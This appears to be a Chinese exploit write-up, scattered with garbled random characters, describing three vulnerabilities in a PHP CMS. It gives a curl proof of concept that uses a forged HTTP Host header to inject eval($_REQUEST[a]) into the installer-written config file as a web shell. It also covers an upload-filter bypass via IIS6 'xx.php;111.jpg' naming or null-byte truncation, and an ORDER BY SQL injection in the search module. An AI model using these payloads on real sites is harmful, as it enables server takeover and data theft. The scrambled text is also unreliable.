注入:
6 P# D, y* H4 L: y s4 u( J, M
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码 u7 [/ ]3 H5 K1 P$ P, w3 P d
# k2 M% E& ?; u0 l鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
- U: f, l. \) h: h) R鸡肋2: 有一定安全常识的站长都会删掉 install 目录
Q! A( H7 \8 @5 c & V9 f. e3 d# p* S
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
$ k) e8 q; M$ l9 p4 J
6 ?7 e R! g8 |! K* S分析:
' D% A9 O7 F/ r3 ^5 w# a
7 [; O7 U% _7 C# F2 h' ~* B
7 Y) S; @+ V1 ~, H! B- N1 w- t9 `$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
% k& U9 i1 c: }9 u
x& i9 J+ j9 m9 ~, K $filestr = fread(fopen($SysConfigFile, 'r'),30000);
' `$ D2 N2 H! h5 k- ? $filestr=str_replace(" ","",$filestr);
7 w+ I0 t8 H& f3 [4 v2 }' E $filestr=str_replace("DefaultDbHost",$dbhost,$filestr); B2 u# x- z' @! D
$filestr=str_replace("DefaultDbName",$dbname,$filestr);2 |* q: T7 y8 ]* c+ }. ?1 [: M
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);8 z, R+ R+ }( S+ f! D
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
8 ^ N- p5 A9 e7 ~, m $filestr=str_replace("DefaultsLan","zh_cn",$filestr); x: J* j! `7 @* i7 c' Y
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);+ U" k. V) Y. ]/ B! P9 ^
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
, A+ u" Q9 X' Y2 r& _ 2 h; ]5 z/ T( t( M' R0 a
fwrite(fopen($ConFile,"w"),$filestr,30000);3 l2 d' m& w9 O
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^7 Z$ m* w$ v* u3 y! b) L
7 Z3 O: C4 @( I6 G0 [, J N
poc:' p" x7 k. J, P0 \( Q/ H
- Q4 }* J& n7 i
?, M' f' K: B3 q
1- m. T% t! Z% p4 W3 }5 b+ L7 i7 `% m- o
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"! g* W1 B/ \/ c) K$ s6 @4 S/ [
shell地址: /config.inc.php |7 O8 _" @& B* [# ~. a0 ^
跟之前的 phpcms一样 需要远程数据库0 T5 I, ]9 Q/ c' u
# n" Z2 y6 s* y9 l; L——————————————————–
1 Z' b6 ?! J" d c# Z; d9 D上传漏洞(需要进后台):& e4 ~1 h. [3 Z1 F$ c
漏洞文件: /kedit/upload_cgi/upload.php
4 q* ?( C; w' y9 A% ?这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
/ H |' Y' K7 Z9 d: X2 ~6 x # g7 U; l! d7 J
9 K2 j. U6 S. {5 G9 c% U% ?% J<?php4 a" H8 y7 d# l% [; G1 z5 M
define("ROOTPATH", "../../");
& H9 P1 C0 m2 w8 M# C: M+ q8 s include(ROOTPATH."includes/admin.inc.php");
8 b. m4 E9 Z: z3 a" R: L# s. e NeedAuth(0);1 ?2 I% l& w& V6 v) y b
# w i8 C+ u: ?# q0 V i
$dt=date("Ymd",time());
" w$ p* {9 {0 `, M% m5 s if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
5 ]6 y! e% X& t) O: ?: x @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);, n' Z' {: F2 f- Q
}
0 T# v7 B U, G# w/ r; k , ^$ m @# Q5 Q, ?. C' p
//文件保存目录路径# k: C3 M1 J" p% u$ U
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" P- [1 r* G2 U5 O( Z& q echo $save_path;
6 w3 U* V4 V! R! M6 o2 A //文件保存目录URL) @; u" i3 u0 p I: O9 e
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
5 v* D% h: a* u3 O: y % H" W% a5 y1 I0 Z
//定义允许上传的文件扩展名6 X! [. Q8 @6 D+ e5 b
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀/ H. L6 p* }+ \/ k) t6 O# p& @
& M! u( F' L; G" f) }% e: k2 q
//最大文件大小, e; ~. z8 v$ w: B: S& L
$max_size = 1000000;; V% X" h3 _1 r5 L( l: w1 `/ G
1 X$ P+ A5 g1 K) W/ L- o' B
//更改目录权限
. ?: t3 z7 a! c/ t" ~6 s5 _* ` @mkdir($save_path, 0777);/ l7 J5 b; @% S& X I! K! \
# n7 ]% J* F) C( n6 }6 Y" [- e! j //文件的全部路径+ M# C) h8 @4 |0 N8 C* Z5 D
$file_path = $save_path.$_POST['fileName']; //保存文件名
% b: z9 f" d3 V; [8 c7 K
1 T/ k" x9 O% E& } //文件URL8 j" i |+ }3 P: I/ G. n
$file_url = $save_url.$_POST['fileName'];
1 }- y# B+ G% S/ T/ t//有上传文件时
% {) Q# I. Q$ G; s3 f5 x. D3 v if (empty($_FILES) === false) {
) m- y% c% A5 U7 @$ V7 |2 V & m0 z4 ?9 U" H' f& h+ X& `' {
//原文件名
9 C3 Y9 H' [! k! V3 h$ ^% I+ W $file_name = $_FILES['fileData']['name'];
- S2 { u& _" l# Q //服务器上临时文件名- g, M# k# k* \& q& [" M
$tmp_name = $_FILES['fileData']['tmp_name'];7 _6 R- c1 @0 ?: W# m% t+ c
//文件大小
- `. w9 h( |2 v: L- ~% J. ?% h $file_size = $_FILES['fileData']['size'];
- n8 Y1 Z5 p+ [( e; M$ m/ m/ R+ j //检查目录 k) U; d) Q2 H; M _2 A
if (@is_dir($save_path) === false) {
4 ?) y0 J2 E" e; T alert("上传目录不存在。");
7 U" i( D* O: P; f1 ~# U* R' Y- v* o }
/ Q; C4 C7 E7 ^ //检查目录写权限* I( m& U$ t' M# m" O+ g
if (@is_writable($save_path) === false) {% l, d* c i$ w5 z9 {2 d
alert("上传目录没有写权限。");
% T" [. a$ r$ f }# \3 s; d! O; H. h* B
//检查是否已上传
% X8 ^: ~5 d$ T- K+ V/ J2 s if (@is_uploaded_file($tmp_name) === false) {! k- }, _2 k, T
alert("临时文件可能不是上传文件。");
/ T- B2 J; _9 ` }! o! @, h" ?: S& c' s* i/ q% D
//检查文件大小
9 Y4 {) B* p1 G9 G7 V, _ if ($file_size > $max_size) {
7 Q' }- f: h+ P5 O0 ]9 S alert("上传文件大小超过限制。");; c* W; d/ A$ |! m- w1 r8 ]
}
% S' L9 g5 `8 p+ f5 J5 Y //获得文件扩展名$ X2 H& a+ E' v4 _( d5 K. j
$temp_arr = explode(".", $_POST['fileName']);
8 r# g2 p# J& Z, }; r% r1 {. R $file_ext = array_pop($temp_arr);
' H+ g# |2 k' S' I: m $file_ext = trim($file_ext);
' `" U, r. j8 t' _ $file_ext = strtolower($file_ext);
: @9 D8 q) R R: ?1 N+ ]8 l$ S/ N : o- Z) F( C( j% c# P, i
//检查扩展名 6 A* P% {* B7 _& w
if (in_array($file_ext, $ext_arr) === false) { / K* c( R$ H; X" }% @' T: h
alert("上传文件扩展名是不允许的扩展名。");
8 G) R+ E7 U' W5 A }3 U7 M& C+ T7 J: l! N+ w( t, h% g- G
7 x- g% Q" ]& b2 p; J //移动文件 , k& b9 @9 t @8 N- ]% P' X! o
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
7 v) z4 u: j% ?: q if (move_uploaded_file($tmp_name, $file_path) === false) {* ^9 K+ Z! F: q3 P: g1 w5 p
alert("上传文件失败。");
. w* m% a4 q4 O1 l9 n }
7 r# `" E: s' d& P/ J
- j3 Q h) S( X7 s/ D( M0 d3 r @chmod($file_path,0666);9 q( M" C: V% T
6 G# M) q4 f W
?>
r2 `2 d, |7 Z" O抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
; ~8 n- D$ f: a/ b. Y + I) j- b6 n7 k! K7 A7 y( N8 i
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
, a& d6 g3 E% X4 U
1 b o7 P& b1 V2 r( ]: A——————————————————
J1 J o! @4 w- p; ]$ K注入漏洞:, |8 I* c' o! G) ^" d
漏洞文件:search/module/search.php
: H; L. R( V9 B. K9 @; _/search/index.php?key=1&myord=1 [sqlinjection]
- Q; [5 x: X' i/ V9 @4 L# _
# Z7 \! ?8 w0 H
- F5 d9 u7 b8 d<?php2 @# n: c$ o; p# k
// ... 省略 n 行...
8 @4 p2 c, |/ d) O% Z" b# i //第18行:
# N+ H4 ]6 ^+ ?4 N $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响4 S5 m6 [6 t r+ G) a+ }; {
$page=htmlspecialchars($_GET["page"]);; E& U1 x$ L2 u8 d6 }! V: r6 @& z; d
$myord=htmlspecialchars($_GET["myord"]);3 d) F! O* H$ @5 P$ n9 l
2 e( c8 S8 f/ u% h$ j) ]; Q // ... 省略 n 行...
8 T, J% A' U9 H9 x O% m% @ } $key,$myord 两个参数带入查询
$ m' Q2 h2 l! F3 T9 {7 q9 ^ //第47行 $key:
' A7 W! N1 w6 M7 W" Q% ^8 x
: a7 z7 ~( C! p7 {9 s9 e$ c# C $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..- x% \: M ]/ y3 d. A
$ F# m9 N3 h' A" a
//第197行 $myord, R: j# U9 e4 T Y2 t5 K
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
( A7 S% T7 D+ K; m Q6 x 0 a1 y/ f- H: p3 z4 T' _/ `
?>: l: M/ G8 j0 T$ B
|